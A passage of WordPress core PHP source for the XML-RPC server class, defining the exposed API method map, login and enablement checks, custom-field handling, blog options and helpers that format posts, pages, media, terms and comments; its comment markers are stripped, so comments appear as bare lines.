methods = array(
WordPress API.
'wp.getUsersBlogs' => 'this:wp_getUsersBlogs',
'wp.newPost' => 'this:wp_newPost',
'wp.editPost' => 'this:wp_editPost',
'wp.deletePost' => 'this:wp_deletePost',
'wp.getPost' => 'this:wp_getPost',
'wp.getPosts' => 'this:wp_getPosts',
'wp.newTerm' => 'this:wp_newTerm',
'wp.editTerm' => 'this:wp_editTerm',
'wp.deleteTerm' => 'this:wp_deleteTerm',
'wp.getTerm' => 'this:wp_getTerm',
'wp.getTerms' => 'this:wp_getTerms',
'wp.getTaxonomy' => 'this:wp_getTaxonomy',
'wp.getTaxonomies' => 'this:wp_getTaxonomies',
'wp.getUser' => 'this:wp_getUser',
'wp.getUsers' => 'this:wp_getUsers',
'wp.getProfile' => 'this:wp_getProfile',
'wp.editProfile' => 'this:wp_editProfile',
'wp.getPage' => 'this:wp_getPage',
'wp.getPages' => 'this:wp_getPages',
'wp.newPage' => 'this:wp_newPage',
'wp.deletePage' => 'this:wp_deletePage',
'wp.editPage' => 'this:wp_editPage',
'wp.getPageList' => 'this:wp_getPageList',
'wp.getAuthors' => 'this:wp_getAuthors',
'wp.getCategories' => 'this:mw_getCategories', Alias.
'wp.getTags' => 'this:wp_getTags',
'wp.newCategory' => 'this:wp_newCategory',
'wp.deleteCategory' => 'this:wp_deleteCategory',
'wp.suggestCategories' => 'this:wp_suggestCategories',
'wp.uploadFile' => 'this:mw_newMediaObject', Alias.
'wp.deleteFile' => 'this:wp_deletePost', Alias.
'wp.getCommentCount' => 'this:wp_getCommentCount',
'wp.getPostStatusList' => 'this:wp_getPostStatusList',
'wp.getPageStatusList' => 'this:wp_getPageStatusList',
'wp.getPageTemplates' => 'this:wp_getPageTemplates',
'wp.getOptions' => 'this:wp_getOptions',
'wp.setOptions' => 'this:wp_setOptions',
'wp.getComment' => 'this:wp_getComment',
'wp.getComments' => 'this:wp_getComments',
'wp.deleteComment' => 'this:wp_deleteComment',
'wp.editComment' => 'this:wp_editComment',
'wp.newComment' => 'this:wp_newComment',
'wp.getCommentStatusList' => 'this:wp_getCommentStatusList',
'wp.getMediaItem' => 'this:wp_getMediaItem',
'wp.getMediaLibrary' => 'this:wp_getMediaLibrary',
'wp.getPostFormats' => 'this:wp_getPostFormats',
'wp.getPostType' => 'this:wp_getPostType',
'wp.getPostTypes' => 'this:wp_getPostTypes',
'wp.getRevisions' => 'this:wp_getRevisions',
'wp.restoreRevision' => 'this:wp_restoreRevision',
Blogger API.
'blogger.getUsersBlogs' => 'this:blogger_getUsersBlogs',
'blogger.getUserInfo' => 'this:blogger_getUserInfo',
'blogger.getPost' => 'this:blogger_getPost',
'blogger.getRecentPosts' => 'this:blogger_getRecentPosts',
'blogger.newPost' => 'this:blogger_newPost',
'blogger.editPost' => 'this:blogger_editPost',
'blogger.deletePost' => 'this:blogger_deletePost',
MetaWeblog API (with MT extensions to structs).
'metaWeblog.newPost' => 'this:mw_newPost',
'metaWeblog.editPost' => 'this:mw_editPost',
'metaWeblog.getPost' => 'this:mw_getPost',
'metaWeblog.getRecentPosts' => 'this:mw_getRecentPosts',
'metaWeblog.getCategories' => 'this:mw_getCategories',
'metaWeblog.newMediaObject' => 'this:mw_newMediaObject',
* MetaWeblog API aliases for Blogger API.
* See http:www.xmlrpc.com/stories/storyReader$2460
'metaWeblog.deletePost' => 'this:blogger_deletePost',
'metaWeblog.getUsersBlogs' => 'this:blogger_getUsersBlogs',
MovableType API.
'mt.getCategoryList' => 'this:mt_getCategoryList',
'mt.getRecentPostTitles' => 'this:mt_getRecentPostTitles',
'mt.getPostCategories' => 'this:mt_getPostCategories',
'mt.setPostCategories' => 'this:mt_setPostCategories',
'mt.supportedMethods' => 'this:mt_supportedMethods',
'mt.supportedTextFilters' => 'this:mt_supportedTextFilters',
'mt.getTrackbackPings' => 'this:mt_getTrackbackPings',
'mt.publishPost' => 'this:mt_publishPost',
Pingback.
'pingback.ping' => 'this:pingback_ping',
'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks',
'demo.sayHello' => 'this:sayHello',
'demo.addTwoNumbers' => 'this:addTwoNumbers',
);
$this->initialise_blog_option_info();
*
* Filters the methods exposed by the XML-RPC server.
*
* This filter can be used to add new methods, and remove built-in methods.
*
* @since 1.5.0
*
* @param string[] $methods An array of XML-RPC methods, keyed by their methodName.
$this->methods = apply_filters( 'xmlrpc_methods', $this->methods );
$this->set_is_enabled();
}
*
* Sets wp_xmlrpc_server::$is_enabled property.
*
* Determines whether the xmlrpc server is enabled on this WordPress install
* and set the is_enabled property accordingly.
*
* @since 5.7.3
private function set_is_enabled() {
* Respect old get_option() filters left for back-compat when the 'enable_xmlrpc'
* option was deprecated in 3.5.0. Use the {@see 'xmlrpc_enabled'} hook instead.
$is_enabled = apply_filters( 'pre_option_enable_xmlrpc', false );
if ( false === $is_enabled ) {
$is_enabled = apply_filters( 'option_enable_xmlrpc', true );
}
*
* Filters whether XML-RPC methods requiring authentication are enabled.
*
* Contrary to the way it's named, this filter does not control whether XML-RPC is *fully*
* enabled, rather, it only controls whether XML-RPC methods requiring authentication -
* such as for publishing purposes - are enabled.
*
* Further, the filter does not control whether pingbacks or other custom endpoints that don't
* require authentication are enabled. This behavior is expected, and due to how parity was matched
* with the `enable_xmlrpc` UI option the filter replaced when it was introduced in 3.5.
*
* To disable XML-RPC methods that require authentication, use:
*
* add_filter( 'xmlrpc_enabled', '__return_false' );
*
* For more granular control over all XML-RPC methods and requests, see the {@see 'xmlrpc_methods'}
* and {@see 'xmlrpc_element_limit'} hooks.
*
* @since 3.5.0
*
* @param bool $is_enabled Whether XML-RPC is enabled. Default true.
$this->is_enabled = apply_filters( 'xmlrpc_enabled', $is_enabled );
}
*
* Makes private/protected methods readable for backward compatibility.
*
* @since 4.0.0
*
* @param string $name Method to call.
* @param array $arguments Arguments to pass when calling.
* @return array|IXR_Error|false Return value of the callback, false otherwise.
public function __call( $name, $arguments ) {
if ( '_multisite_getUsersBlogs' === $name ) {
return $this->_multisite_getUsersBlogs( ...$arguments );
}
return false;
}
*
* Serves the XML-RPC request.
*
* @since 2.9.0
public function serve_request() {
$this->IXR_Server( $this->methods );
}
*
* Tests XMLRPC API by saying, "Hello!" to client.
*
* @since 1.5.0
*
* @return string Hello string response.
public function sayHello() {
return 'Hello!';
}
*
* Tests XMLRPC API by adding two numbers for client.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 A number to add.
* @type int $1 A second number to add.
* }
* @return int Sum of the two given numbers.
public function addTwoNumbers( $args ) {
$number1 = $args[0];
$number2 = $args[1];
return $number1 + $number2;
}
*
* Logs user in.
*
* @since 2.8.0
*
* @param string $username User's username.
* @param string $password User's password.
* @return WP_User|false WP_User object if authentication passed, false otherwise.
public function login( $username, $password ) {
if ( ! $this->is_enabled ) {
$this->error = new IXR_Error( 405, sprintf( __( 'XML-RPC services are disabled on this site.' ) ) );
return false;
}
if ( $this->auth_failed ) {
$user = new WP_Error( 'login_prevented' );
} else {
$user = wp_authenticate( $username, $password );
}
if ( is_wp_error( $user ) ) {
$this->error = new IXR_Error( 403, __( 'Incorrect username or password.' ) );
Flag that authentication has failed once on this wp_xmlrpc_server instance.
$this->auth_failed = true;
*
* Filters the XML-RPC user login error message.
*
* @since 3.5.0
*
* @param IXR_Error $error The XML-RPC error message.
* @param WP_Error $user WP_Error object.
$this->error = apply_filters( 'xmlrpc_login_error', $this->error, $user );
return false;
}
wp_set_current_user( $user->ID );
return $user;
}
*
* Checks user's credentials. Deprecated.
*
* @since 1.5.0
* @deprecated 2.8.0 Use wp_xmlrpc_server::login()
* @see wp_xmlrpc_server::login()
*
* @param string $username User's username.
* @param string $password User's password.
* @return bool Whether authentication passed.
public function login_pass_ok( $username, $password ) {
return (bool) $this->login( $username, $password );
}
*
* Escapes string or array of strings for database.
*
* @since 1.5.2
*
* @param string|array $data Escape single string or array of strings.
* @return string|void Returns with string is passed, alters by-reference
* when array is passed.
public function escape( &$data ) {
if ( ! is_array( $data ) ) {
return wp_slash( $data );
}
foreach ( $data as &$v ) {
if ( is_array( $v ) ) {
$this->escape( $v );
} elseif ( ! is_object( $v ) ) {
$v = wp_slash( $v );
}
}
}
*
* Sends error response to client.
*
* Sends an XML error response to the client. If the endpoint is enabled
* an HTTP 200 response is always sent per the XML-RPC specification.
*
* @since 5.7.3
*
* @param IXR_Error|string $error Error code or an error object.
* @param false $message Error message. Optional.
public function error( $error, $message = false ) {
Accepts either an error object or an error code and message
if ( $message && ! is_object( $error ) ) {
$error = new IXR_Error( $error, $message );
}
if ( ! $this->is_enabled ) {
status_header( $error->code );
}
$this->output( $error->getXml() );
}
*
* Retrieves custom fields for post.
*
* @since 2.5.0
*
* @param int $post_id Post ID.
* @return array Custom fields, if exist.
public function get_custom_fields( $post_id ) {
$post_id = (int) $post_id;
$custom_fields = array();
foreach ( (array) has_meta( $post_id ) as $meta ) {
Don't expose protected fields.
if ( ! current_user_can( 'edit_post_meta', $post_id, $meta['meta_key'] ) ) {
continue;
}
$custom_fields[] = array(
'id' => $meta['meta_id'],
'key' => $meta['meta_key'],
'value' => $meta['meta_value'],
);
}
return $custom_fields;
}
*
* Sets custom fields for post.
*
* @since 2.5.0
*
* @param int $post_id Post ID.
* @param array $fields Custom fields.
public function set_custom_fields( $post_id, $fields ) {
$post_id = (int) $post_id;
foreach ( (array) $fields as $meta ) {
if ( isset( $meta['id'] ) ) {
$meta['id'] = (int) $meta['id'];
$pmeta = get_metadata_by_mid( 'post', $meta['id'] );
if ( ! $pmeta || $pmeta->post_id != $post_id ) {
continue;
}
if ( isset( $meta['key'] ) ) {
$meta['key'] = wp_unslash( $meta['key'] );
if ( $meta['key'] !== $pmeta->meta_key ) {
continue;
}
$meta['value'] = wp_unslash( $meta['value'] );
if ( current_user_can( 'edit_post_meta', $post_id, $meta['key'] ) ) {
update_metadata_by_mid( 'post', $meta['id'], $meta['value'] );
}
} elseif ( current_user_can( 'delete_post_meta', $post_id, $pmeta->meta_key ) ) {
delete_metadata_by_mid( 'post', $meta['id'] );
}
} elseif ( current_user_can( 'add_post_meta', $post_id, wp_unslash( $meta['key'] ) ) ) {
add_post_meta( $post_id, $meta['key'], $meta['value'] );
}
}
}
*
* Retrieves custom fields for a term.
*
* @since 4.9.0
*
* @param int $term_id Term ID.
* @return array Array of custom fields, if they exist.
public function get_term_custom_fields( $term_id ) {
$term_id = (int) $term_id;
$custom_fields = array();
foreach ( (array) has_term_meta( $term_id ) as $meta ) {
if ( ! current_user_can( 'edit_term_meta', $term_id ) ) {
continue;
}
$custom_fields[] = array(
'id' => $meta['meta_id'],
'key' => $meta['meta_key'],
'value' => $meta['meta_value'],
);
}
return $custom_fields;
}
*
* Sets custom fields for a term.
*
* @since 4.9.0
*
* @param int $term_id Term ID.
* @param array $fields Custom fields.
public function set_term_custom_fields( $term_id, $fields ) {
$term_id = (int) $term_id;
foreach ( (array) $fields as $meta ) {
if ( isset( $meta['id'] ) ) {
$meta['id'] = (int) $meta['id'];
$pmeta = get_metadata_by_mid( 'term', $meta['id'] );
if ( isset( $meta['key'] ) ) {
$meta['key'] = wp_unslash( $meta['key'] );
if ( $meta['key'] !== $pmeta->meta_key ) {
continue;
}
$meta['value'] = wp_unslash( $meta['value'] );
if ( current_user_can( 'edit_term_meta', $term_id ) ) {
update_metadata_by_mid( 'term', $meta['id'], $meta['value'] );
}
} elseif ( current_user_can( 'delete_term_meta', $term_id ) ) {
delete_metadata_by_mid( 'term', $meta['id'] );
}
} elseif ( current_user_can( 'add_term_meta', $term_id ) ) {
add_term_meta( $term_id, $meta['key'], $meta['value'] );
}
}
}
*
* Sets up blog options property.
*
* Passes property through {@see 'xmlrpc_blog_options'} filter.
*
* @since 2.6.0
public function initialise_blog_option_info() {
$this->blog_options = array(
Read-only options.
'software_name' => array(
'desc' => __( 'Software Name' ),
'readonly' => true,
'value' => 'WordPress',
),
'software_version' => array(
'desc' => __( 'Software Version' ),
'readonly' => true,
'value' => get_bloginfo( 'version' ),
),
'blog_url' => array(
'desc' => __( 'WordPress Address (URL)' ),
'readonly' => true,
'option' => 'siteurl',
),
'home_url' => array(
'desc' => __( 'Site Address (URL)' ),
'readonly' => true,
'option' => 'home',
),
'login_url' => array(
'desc' => __( 'Login Address (URL)' ),
'readonly' => true,
'value' => wp_login_url(),
),
'admin_url' => array(
'desc' => __( 'The URL to the admin area' ),
'readonly' => true,
'value' => get_admin_url(),
),
'image_default_link_type' => array(
'desc' => __( 'Image default link type' ),
'readonly' => true,
'option' => 'image_default_link_type',
),
'image_default_size' => array(
'desc' => __( 'Image default size' ),
'readonly' => true,
'option' => 'image_default_size',
),
'image_default_align' => array(
'desc' => __( 'Image default align' ),
'readonly' => true,
'option' => 'image_default_align',
),
'template' => array(
'desc' => __( 'Template' ),
'readonly' => true,
'option' => 'template',
),
'stylesheet' => array(
'desc' => __( 'Stylesheet' ),
'readonly' => true,
'option' => 'stylesheet',
),
'post_thumbnail' => array(
'desc' => __( 'Post Thumbnail' ),
'readonly' => true,
'value' => current_theme_supports( 'post-thumbnails' ),
),
Updatable options.
'time_zone' => array(
'desc' => __( 'Time Zone' ),
'readonly' => false,
'option' => 'gmt_offset',
),
'blog_title' => array(
'desc' => __( 'Site Title' ),
'readonly' => false,
'option' => 'blogname',
),
'blog_tagline' => array(
'desc' => __( 'Site Tagline' ),
'readonly' => false,
'option' => 'blogdescription',
),
'date_format' => array(
'desc' => __( 'Date Format' ),
'readonly' => false,
'option' => 'date_format',
),
'time_format' => array(
'desc' => __( 'Time Format' ),
'readonly' => false,
'option' => 'time_format',
),
'users_can_register' => array(
'desc' => __( 'Allow new users to sign up' ),
'readonly' => false,
'option' => 'users_can_register',
),
'thumbnail_size_w' => array(
'desc' => __( 'Thumbnail Width' ),
'readonly' => false,
'option' => 'thumbnail_size_w',
),
'thumbnail_size_h' => array(
'desc' => __( 'Thumbnail Height' ),
'readonly' => false,
'option' => 'thumbnail_size_h',
),
'thumbnail_crop' => array(
'desc' => __( 'Crop thumbnail to exact dimensions' ),
'readonly' => false,
'option' => 'thumbnail_crop',
),
'medium_size_w' => array(
'desc' => __( 'Medium size image width' ),
'readonly' => false,
'option' => 'medium_size_w',
),
'medium_size_h' => array(
'desc' => __( 'Medium size image height' ),
'readonly' => false,
'option' => 'medium_size_h',
),
'medium_large_size_w' => array(
'desc' => __( 'Medium-Large size image width' ),
'readonly' => false,
'option' => 'medium_large_size_w',
),
'medium_large_size_h' => array(
'desc' => __( 'Medium-Large size image height' ),
'readonly' => false,
'option' => 'medium_large_size_h',
),
'large_size_w' => array(
'desc' => __( 'Large size image width' ),
'readonly' => false,
'option' => 'large_size_w',
),
'large_size_h' => array(
'desc' => __( 'Large size image height' ),
'readonly' => false,
'option' => 'large_size_h',
),
'default_comment_status' => array(
'desc' => __( 'Allow people to submit comments on new posts.' ),
'readonly' => false,
'option' => 'default_comment_status',
),
'default_ping_status' => array(
'desc' => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new posts.' ),
'readonly' => false,
'option' => 'default_ping_status',
),
);
*
* Filters the XML-RPC blog options property.
*
* @since 2.6.0
*
* @param array $blog_options An array of XML-RPC blog options.
$this->blog_options = apply_filters( 'xmlrpc_blog_options', $this->blog_options );
}
*
* Retrieves the blogs of the user.
*
* @since 2.6.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type string $0 Username.
* @type string $1 Password.
* }
* @return array|IXR_Error Array contains:
* - 'isAdmin'
* - 'isPrimary' - whether the blog is the user's primary blog
* - 'url'
* - 'blogid'
* - 'blogName'
* - 'xmlrpc' - url of xmlrpc endpoint
public function wp_getUsersBlogs( $args ) {
if ( ! $this->minimum_args( $args, 2 ) ) {
return $this->error;
}
If this isn't on WPMU then just use blogger_getUsersBlogs().
if ( ! is_multisite() ) {
array_unshift( $args, 1 );
return $this->blogger_getUsersBlogs( $args );
}
$this->escape( $args );
$username = $args[0];
$password = $args[1];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
*
* Fires after the XML-RPC user has been authenticated but before the rest of
* the method logic begins.
*
* All built-in XML-RPC methods use the action xmlrpc_call, with a parameter
* equal to the method's name, e.g., wp.getUsersBlogs, wp.newPost, etc.
*
* @since 2.5.0
* @since 5.7.0 Added the `$args` and `$server` parameters.
*
* @param string $name The method name.
* @param array|string $args The escaped arguments passed to the method.
* @param wp_xmlrpc_server $server The XML-RPC server instance.
do_action( 'xmlrpc_call', 'wp.getUsersBlogs', $args, $this );
$blogs = (array) get_blogs_of_user( $user->ID );
$struct = array();
$primary_blog_id = 0;
$active_blog = get_active_blog_for_user( $user->ID );
if ( $active_blog ) {
$primary_blog_id = (int) $active_blog->blog_id;
}
foreach ( $blogs as $blog ) {
Don't include blogs that aren't hosted at this site.
if ( get_current_network_id() != $blog->site_id ) {
continue;
}
$blog_id = $blog->userblog_id;
switch_to_blog( $blog_id );
$is_admin = current_user_can( 'manage_options' );
$is_primary = ( (int) $blog_id === $primary_blog_id );
$struct[] = array(
'isAdmin' => $is_admin,
'isPrimary' => $is_primary,
'url' => home_url( '/' ),
'blogid' => (string) $blog_id,
'blogName' => get_option( 'blogname' ),
'xmlrpc' => site_url( 'xmlrpc.php', 'rpc' ),
);
restore_current_blog();
}
return $struct;
}
*
* Checks if the method received at least the minimum number of arguments.
*
* @since 3.4.0
*
* @param array $args An array of arguments to check.
* @param int $count Minimum number of arguments.
* @return bool True if `$args` contains at least `$count` arguments, false otherwise.
protected function minimum_args( $args, $count ) {
if ( ! is_array( $args ) || count( $args ) < $count ) {
$this->error = new IXR_Error( 400, __( 'Insufficient arguments passed to this XML-RPC method.' ) );
return false;
}
return true;
}
*
* Prepares taxonomy data for return in an XML-RPC object.
*
* @param WP_Taxonomy $taxonomy The unprepared taxonomy data.
* @param array $fields The subset of taxonomy fields to return.
* @return array The prepared taxonomy data.
protected function _prepare_taxonomy( $taxonomy, $fields ) {
$_taxonomy = array(
'name' => $taxonomy->name,
'label' => $taxonomy->label,
'hierarchical' => (bool) $taxonomy->hierarchical,
'public' => (bool) $taxonomy->public,
'show_ui' => (bool) $taxonomy->show_ui,
'_builtin' => (bool) $taxonomy->_builtin,
);
if ( in_array( 'labels', $fields, true ) ) {
$_taxonomy['labels'] = (array) $taxonomy->labels;
}
if ( in_array( 'cap', $fields, true ) ) {
$_taxonomy['cap'] = (array) $taxonomy->cap;
}
if ( in_array( 'menu', $fields, true ) ) {
$_taxonomy['show_in_menu'] = (bool) $taxonomy->show_in_menu;
}
if ( in_array( 'object_type', $fields, true ) ) {
$_taxonomy['object_type'] = array_unique( (array) $taxonomy->object_type );
}
*
* Filters XML-RPC-prepared data for the given taxonomy.
*
* @since 3.4.0
*
* @param array $_taxonomy An array of taxonomy data.
* @param WP_Taxonomy $taxonomy Taxonomy object.
* @param array $fields The subset of taxonomy fields to return.
return apply_filters( 'xmlrpc_prepare_taxonomy', $_taxonomy, $taxonomy, $fields );
}
*
* Prepares term data for return in an XML-RPC object.
*
* @param array|object $term The unprepared term data.
* @return array The prepared term data.
protected function _prepare_term( $term ) {
$_term = $term;
if ( ! is_array( $_term ) ) {
$_term = get_object_vars( $_term );
}
For integers which may be larger than XML-RPC supports ensure we return strings.
$_term['term_id'] = (string) $_term['term_id'];
$_term['term_group'] = (string) $_term['term_group'];
$_term['term_taxonomy_id'] = (string) $_term['term_taxonomy_id'];
$_term['parent'] = (string) $_term['parent'];
Count we are happy to return as an integer because people really shouldn't use terms that much.
$_term['count'] = (int) $_term['count'];
Get term meta.
$_term['custom_fields'] = $this->get_term_custom_fields( $_term['term_id'] );
*
* Filters XML-RPC-prepared data for the given term.
*
* @since 3.4.0
*
* @param array $_term An array of term data.
* @param array|object $term Term object or array.
return apply_filters( 'xmlrpc_prepare_term', $_term, $term );
}
*
* Converts a WordPress date string to an IXR_Date object.
*
* @param string $date Date string to convert.
* @return IXR_Date IXR_Date object.
protected function _convert_date( $date ) {
if ( '0000-00-00 00:00:00' === $date ) {
return new IXR_Date( '00000000T00:00:00Z' );
}
return new IXR_Date( mysql2date( 'Ymd\TH:i:s', $date, false ) );
}
*
* Converts a WordPress GMT date string to an IXR_Date object.
*
* @param string $date_gmt WordPress GMT date string.
* @param string $date Date string.
* @return IXR_Date IXR_Date object.
protected function _convert_date_gmt( $date_gmt, $date ) {
if ( '0000-00-00 00:00:00' !== $date && '0000-00-00 00:00:00' === $date_gmt ) {
return new IXR_Date( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $date, false ), 'Ymd\TH:i:s' ) );
}
return $this->_convert_date( $date_gmt );
}
*
* Prepares post data for return in an XML-RPC object.
*
* @param array $post The unprepared post data.
* @param array $fields The subset of post type fields to return.
* @return array The prepared post data.
protected function _prepare_post( $post, $fields ) {
Holds the data for this post. built up based on $fields.
$_post = array( 'post_id' => (string) $post['ID'] );
Prepare common post fields.
$post_fields = array(
'post_title' => $post['post_title'],
'post_date' => $this->_convert_date( $post['post_date'] ),
'post_date_gmt' => $this->_convert_date_gmt( $post['post_date_gmt'], $post['post_date'] ),
'post_modified' => $this->_convert_date( $post['post_modified'] ),
'post_modified_gmt' => $this->_convert_date_gmt( $post['post_modified_gmt'], $post['post_modified'] ),
'post_status' => $post['post_status'],
'post_type' => $post['post_type'],
'post_name' => $post['post_name'],
'post_author' => $post['post_author'],
'post_password' => $post['post_password'],
'post_excerpt' => $post['post_excerpt'],
'post_content' => $post['post_content'],
'post_parent' => (string) $post['post_parent'],
'post_mime_type' => $post['post_mime_type'],
'link' => get_permalink( $post['ID'] ),
'guid' => $post['guid'],
'menu_order' => (int) $post['menu_order'],
'comment_status' => $post['comment_status'],
'ping_status' => $post['ping_status'],
'sticky' => ( 'post' === $post['post_type'] && is_sticky( $post['ID'] ) ),
);
Thumbnail.
$post_fields['post_thumbnail'] = array();
$thumbnail_id = get_post_thumbnail_id( $post['ID'] );
if ( $thumbnail_id ) {
$thumbnail_size = current_theme_supports( 'post-thumbnail' ) ? 'post-thumbnail' : 'thumbnail';
$post_fields['post_thumbnail'] = $this->_prepare_media_item( get_post( $thumbnail_id ), $thumbnail_size );
}
Consider future posts as published.
if ( 'future' === $post_fields['post_status'] ) {
$post_fields['post_status'] = 'publish';
}
Fill in blank post format.
$post_fields['post_format'] = get_post_format( $post['ID'] );
if ( empty( $post_fields['post_format'] ) ) {
$post_fields['post_format'] = 'standard';
}
Merge requested $post_fields fields into $_post.
if ( in_array( 'post', $fields, true ) ) {
$_post = array_merge( $_post, $post_fields );
} else {
$requested_fields = array_intersect_key( $post_fields, array_flip( $fields ) );
$_post = array_merge( $_post, $requested_fields );
}
$all_taxonomy_fields = in_array( 'taxonomies', $fields, true );
if ( $all_taxonomy_fields || in_array( 'terms', $fields, true ) ) {
$post_type_taxonomies = get_object_taxonomies( $post['post_type'], 'names' );
$terms = wp_get_object_terms( $post['ID'], $post_type_taxonomies );
$_post['terms'] = array();
foreach ( $terms as $term ) {
$_post['terms'][] = $this->_prepare_term( $term );
}
}
if ( in_array( 'custom_fields', $fields, true ) ) {
$_post['custom_fields'] = $this->get_custom_fields( $post['ID'] );
}
if ( in_array( 'enclosure', $fields, true ) ) {
$_post['enclosure'] = array();
$enclosures = (array) get_post_meta( $post['ID'], 'enclosure' );
if ( ! empty( $enclosures ) ) {
$encdata = explode( "\n", $enclosures[0] );
$_post['enclosure']['url'] = trim( htmlspecialchars( $encdata[0] ) );
$_post['enclosure']['length'] = (int) trim( $encdata[1] );
$_post['enclosure']['type'] = trim( $encdata[2] );
}
}
*
* Filters XML-RPC-prepared date for the given post.
*
* @since 3.4.0
*
* @param array $_post An array of modified post data.
* @param array $post An array of post data.
* @param array $fields An array of post fields.
return apply_filters( 'xmlrpc_prepare_post', $_post, $post, $fields );
}
*
* Prepares post data for return in an XML-RPC object.
*
* @since 3.4.0
* @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
*
* @param WP_Post_Type $post_type Post type object.
* @param array $fields The subset of post fields to return.
* @return array The prepared post type data.
protected function _prepare_post_type( $post_type, $fields ) {
$_post_type = array(
'name' => $post_type->name,
'label' => $post_type->label,
'hierarchical' => (bool) $post_type->hierarchical,
'public' => (bool) $post_type->public,
'show_ui' => (bool) $post_type->show_ui,
'_builtin' => (bool) $post_type->_builtin,
'has_archive' => (bool) $post_type->has_archive,
'supports' => get_all_post_type_supports( $post_type->name ),
);
if ( in_array( 'labels', $fields, true ) ) {
$_post_type['labels'] = (array) $post_type->labels;
}
if ( in_array( 'cap', $fields, true ) ) {
$_post_type['cap'] = (array) $post_type->cap;
$_post_type['map_meta_cap'] = (bool) $post_type->map_meta_cap;
}
if ( in_array( 'menu', $fields, true ) ) {
$_post_type['menu_position'] = (int) $post_type->menu_position;
$_post_type['menu_icon'] = $post_type->menu_icon;
$_post_type['show_in_menu'] = (bool) $post_type->show_in_menu;
}
if ( in_array( 'taxonomies', $fields, true ) ) {
$_post_type['taxonomies'] = get_object_taxonomies( $post_type->name, 'names' );
}
*
* Filters XML-RPC-prepared date for the given post type.
*
* @since 3.4.0
* @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
*
* @param array $_post_type An array of post type data.
* @param WP_Post_Type $post_type Post type object.
return apply_filters( 'xmlrpc_prepare_post_type', $_post_type, $post_type );
}
*
* Prepares media item data for return in an XML-RPC object.
*
* @param WP_Post $media_item The unprepared media item data.
* @param string $thumbnail_size The image size to use for the thumbnail URL.
* @return array The prepared media item data.
protected function _prepare_media_item( $media_item, $thumbnail_size = 'thumbnail' ) {
$_media_item = array(
'attachment_id' => (string) $media_item->ID,
'date_created_gmt' => $this->_convert_date_gmt( $media_item->post_date_gmt, $media_item->post_date ),
'parent' => $media_item->post_parent,
'link' => wp_get_attachment_url( $media_item->ID ),
'title' => $media_item->post_title,
'caption' => $media_item->post_excerpt,
'description' => $media_item->post_content,
'metadata' => wp_get_attachment_metadata( $media_item->ID ),
'type' => $media_item->post_mime_type,
'alt' => get_post_meta( $media_item->ID, '_wp_attachment_image_alt', true ),
);
$thumbnail_src = image_downsize( $media_item->ID, $thumbnail_size );
if ( $thumbnail_src ) {
$_media_item['thumbnail'] = $thumbnail_src[0];
} else {
$_media_item['thumbnail'] = $_media_item['link'];
}
*
* Filters XML-RPC-prepared data for the given media item.
*
* @since 3.4.0
*
* @param array $_media_item An array of media item data.
* @param WP_Post $media_item Media item object.
* @param string $thumbnail_size Image size.
return apply_filters( 'xmlrpc_prepare_media_item', $_media_item, $media_item, $thumbnail_size );
}
*
* Prepares page data for return in an XML-RPC object.
*
* @param WP_Post $page The unprepared page data.
* @return array The prepared page data.
protected function _prepare_page( $page ) {
Get all of the page content and link.
$full_page = get_extended( $page->post_content );
$link = get_permalink( $page->ID );
Get info the page parent if there is one.
$parent_title = '';
if ( ! empty( $page->post_parent ) ) {
$parent = get_post( $page->post_parent );
$parent_title = $parent->post_title;
}
Determine comment and ping settings.
$allow_comments = comments_open( $page->ID ) ? 1 : 0;
$allow_pings = pings_open( $page->ID ) ? 1 : 0;
Format page date.
$page_date = $this->_convert_date( $page->post_date );
$page_date_gmt = $this->_convert_date_gmt( $page->post_date_gmt, $page->post_date );
Pull the categories info together.
$categories = array();
if ( is_object_in_taxonomy( 'page', 'category' ) ) {
foreach ( wp_get_post_categories( $page->ID ) as $cat_id ) {
$categories[] = get_cat_name( $cat_id );
}
}
Get the author info.
$author = get_userdata( $page->post_author );
$page_template = get_page_template_slug( $page->ID );
if ( empty( $page_template ) ) {
$page_template = 'default';
}
$_page = array(
'dateCreated' => $page_date,
'userid' => $page->post_author,
'page_id' => $page->ID,
'page_status' => $page->post_status,
'description' => $full_page['main'],
'title' => $page->post_title,
'link' => $link,
'permaLink' => $link,
'categories' => $categories,
'excerpt' => $page->post_excerpt,
'text_more' => $full_page['extended'],
'mt_allow_comments' => $allow_comments,
'mt_allow_pings' => $allow_pings,
'wp_slug' => $page->post_name,
'wp_password' => $page->post_password,
'wp_author' => $author->display_name,
'wp_page_parent_id' => $page->post_parent,
'wp_page_parent_title' => $parent_title,
'wp_page_order' => $page->menu_order,
'wp_author_id' => (string) $author->ID,
'wp_author_display_name' => $author->display_name,
'date_created_gmt' => $page_date_gmt,
'custom_fields' => $this->get_custom_fields( $page->ID ),
'wp_page_template' => $page_template,
);
*
* Filters XML-RPC-prepared data for the given page.
*
* @since 3.4.0
*
* @param array $_page An array of page data.
* @param WP_Post $page Page object.
return apply_filters( 'xmlrpc_prepare_page', $_page, $page );
}
*
* Prepares comment data for return in an XML-RPC object.
*
* @param WP_Comment $comment The unprepared comment data.
* @return array The prepared comment data.
protected function _prepare_comment( $comment ) {
Format page date.
$comment_date_gmt = $this->_convert_date_gmt( $comment->comment_date_gmt, $comment->comment_date );
if ( '0' == $comment->comment_approved ) {
$comment_status = 'hold';
} elseif ( 'spam' === $comment->comment_approved ) {
$comment_status = 'spam';
} elseif ( '1' == $comment->comment_approved ) {
$comment_status = 'approve';
} else {
$comment_status = $comment->comment_approved;
}
$_comment = array(
'date_created_gmt' => $comment_date_gmt,
'user_id' => $comment->user_id,
'comment_id' => $comment->comment_ID,
'parent' => $comment->comment_parent,
'status' => $comment_status,
'content' => $comment->comment_content,
'link' => get_comment_link( $comment ),
'post_id' => $comment->comment_post_ID,
'post_title' => get_the_title( $comment->comment_post_ID ),
'author' => $comment->comment_author,
'author_url' => $comment->comment_author_url,
'author_email' => $comment->comment_author_email,
'author_ip' => $comment->comment_author_IP,
'type' => $comment->comment_type,
);
*
* Filters XML-RPC-prepared data for the given comment.
*
* @since 3.4.0
*
* @param array $_comment An array of prepared comment data.
* @param WP_Comment $comment Comment object.
